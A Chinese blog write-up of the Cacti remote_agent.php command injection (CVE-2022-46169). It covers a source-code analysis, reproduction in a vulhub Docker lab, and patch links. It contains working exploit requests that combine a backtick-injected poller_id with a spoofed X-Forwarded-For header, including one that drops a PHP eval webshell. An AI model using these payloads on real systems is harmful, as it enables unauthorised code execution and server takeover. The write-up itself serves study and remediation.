Cacti 前台命令注入漏洞

这篇具有很好参考价值的文章主要介绍了Cacti 前台命令注入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

文档说明

本文作者:SwBack
创作时间:2023/4/8 0:12
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

漏 洞 名:Cacti 前台命令注入漏洞
漏洞编号:CVE-2022-46169
Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.

在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

影响版本

1.2.17-1.2.22

漏洞原理

由于remote_agent.php文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()函数中的检索参数$poller_id,当poller_item设置为POLLER_ACTION_SCRIPT_PHP时,导致proc_open()函数被触发,最终实现在目标系统上任意命令执行。

#漏洞payload
remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For:127.0.0.1

命令执行简单分析

其中action 等于 polldata 时才会去调用poll_for_data()函数.

Cacti 前台命令注入漏洞

可以通过下面poll_for_data()函数的代码发现 只有 $item['action'] === POLLER_ACTION_SCRIPT_PHP 时,$poller_id 才会在proc_open()中命令执行

$item 是循环 $items得到

#简单将未涉及到的代码注释,尽量减少篇幅
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

	if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND 6 = ?',
				array($host_id, $local_data_id));

				.....
                .....
			if (cacti_sizeof($items)) {
				foreach($items as $item) {
					switch ($item['action']) {
					case POLLER_ACTION_SNMP: /* snmp */
						.....
                        .....
					case POLLER_ACTION_SCRIPT: /* script (popen) */
						.....
                        .....
					case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						.....
                        .....
					}

					$i++;
				}
			}
		}
	}

	print json_encode($return);
}

我们需要 使 $items 的SQL语句成立。 所以 $local_data_id 需要传参 6

action 等于2的时候,host_id = 1

Cacti 前台命令注入漏洞

Cacti 前台命令注入漏洞

实际的环境中,由于设备项目在添加时,需要选择相应的设备模板才会出现action=2,local_data_ids参数也是需要靠暴力猜解才会猜解出action=2的项目

Cacti 前台命令注入漏洞

客户端ip伪造分析

关于IP伪造的部分,我们在未认证的情况下返回的内容如下:FATAL: You are not authorized to use this service 此处在漏洞复现部分有所演示

在``中追踪代码如下

#判断remote_client_authorized()函数是否为true
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}


function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
    
    #客户端ip由get_client_addr() 函数获取
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}
	#从数据库中查询,从而获取到hostname值
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
            #判断hostname值是否与客户端ip一致
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}

搜索之后在functions.php中发现get_client_addr()函数的定义

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
    #遍历数组$http_addr_headers 并将其赋值给$header
	foreach ($http_addr_headers as $header) {
        #判断$_SERVER[$header] 是否为空 ,如果不为空,则取ip作为客户端IP,这个参数用户可控。
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

在如下判断代码中,我们传入的值为 127.0.0.1 会被get_client_addr()函数 解析为localhost 而这和复现靶机一致

Cacti 前台命令注入漏洞

Cacti 前台命令注入漏洞

如果在服务器主机名非 localhost 的情况下,client_addr需要暴力猜解本机的内网IP地址,或者其他设备列表内的IP地址。

漏洞复现

下载vulhub

通过vulhub进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub下载到本地

#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压zip
unzip vulhub-master.zip

#进入目录
cd vulhub-master

启动环境

在上一步我们已经将vulhub解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose 将环境进行启动

#进入目录
cd cacti/CVE-2022-46169/
#启动环境
docker-compose up -d

输入命令之后

Cacti 前台命令注入漏洞

配置

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。不断的点击下一步,直到安装成功。

Cacti 前台命令注入漏洞

Cacti 前台命令注入漏洞

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

Cacti 前台命令注入漏洞

Cacti 前台命令注入漏洞

攻击

直接访问payload 显示内容如下

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

Cacti 前台命令注入漏洞

进行抓包,并添加X-Forwarded-For:127.0.0.1
Cacti 前台命令注入漏洞

查看本地,发现文件已被创建

Cacti 前台命令注入漏洞

同理,创建木马

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php`

执行成功

Cacti 前台命令注入漏洞

复现总结

通过研究该漏洞,发现在实际的利用的过程中,不能一味的去使用poc攻击,需要根据实际的生产环境去进行对应的修改。

修复方案

  • 官方升级

目前官方已发布安全补丁修复此漏洞,建议受影响的用户及时安装防护:

版本* 补丁链接
v1.2.X https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b
v1.3.x https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b

:若在PHP < 7.0下运行1.2.x实例,还需要进一步更改:https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9

  • 进行版本更新
    从官方下载最新版本

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。文章来源地址https://www.toymoban.com/news/detail-440337.html

到了这里,关于Cacti 前台命令注入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Web漏洞探索】命令注入漏洞

    一、什么是命令注入漏洞 命令注入(又叫操作系统命令注入,也称为shell注入)是指在某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时,则有可能发生命令注入。攻击者可以使用命令注入来执行系统终端命令

    2024年02月02日
    浏览(35)
  • 亿赛通电子文档安全管理系统 SQL注入漏洞复现

    亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能加

    2024年02月03日
    浏览(38)
  • Jfinal CMS命令注入漏洞

    漏洞环境 jfinal_cms 5.0.1 中存在命令执行漏洞 JDK 版本要求: 基于 RMI=6u141、7u131、8u121 使用的 JDK 版本 基于 LDAP=6u211、7u201、8u191 使用的 JDK 版本。 jfinal_cms版本:5.0.1 fastjson版本:1.2.28 漏洞复用 测试中使用的JDK版本:JDK8u101 在 kali 上运行该工具,启动 rmi 和 ldap 服务 https://gith

    2024年02月09日
    浏览(46)
  • CVE-2020-15778 OpenSSH命令注入漏洞

    预备知识 漏洞描述 OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中gets

    2024年02月09日
    浏览(45)
  • 漏洞复现:Apache Spark 命令注入(CVE-2022-33891)

      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需

    2024年02月09日
    浏览(47)
  • python命令大全及说明文档,python命令大全及效果

    这篇文章主要介绍了python命令大全及说明文档,具有一定借鉴价值,需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获,下面让小编带着大家一起了解一下。        刚开始学习一门语言方法很重要,下面是一些非常实用的方法总结,站在巨人的肩膀上才能成长的

    2024年03月17日
    浏览(47)
  • 【高危】Apache Spark UI shell 命令注入漏洞(POC)

    该漏洞是针对此前CVE-2022-33891漏洞的修订,原有漏洞通告中认为3.1.3版本已修复该漏洞,后发现仍受到影响,3.1.3版本已不再维护,官方建议升级至3.4.0版本。 Apache Spark是美国阿帕奇(Apache)软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。 当Apache Spar

    2024年02月05日
    浏览(40)
  • CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

    漏洞软件:Apache Airflow 影响版本:= 1.10.10 Vulhub 漏洞测试靶场 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录 运行以下命令启动环境 在客户端访问 server-ip:8080 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态 在这一列的右侧点击如下按钮 输入以下字符后点击 Trigger 按钮

    2024年02月07日
    浏览(41)
  • MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE-2022-30190)

    目录 漏洞概述 受到影响的产品和版本 漏洞复现 1、搭建靶场 2、攻击复现 一、执行系统程序 二、执行系统命令 修复 Microsoft Windows Support Diagnostic Tool是美国微软(Microsoft)公司的收集信息以发送给 Microsoft 支持的工具(Windows上的微软支持诊断工具中存在此漏洞)。当从Word等

    2024年02月06日
    浏览(36)
  • scalpel一款命令行漏洞扫描工具,支持深度参数注入,拥有一个强大的数据解析和变异算法

    免责声明 由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!所有工具安全性自测!!! 工具介绍 scalpel是一款

    2024年01月19日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包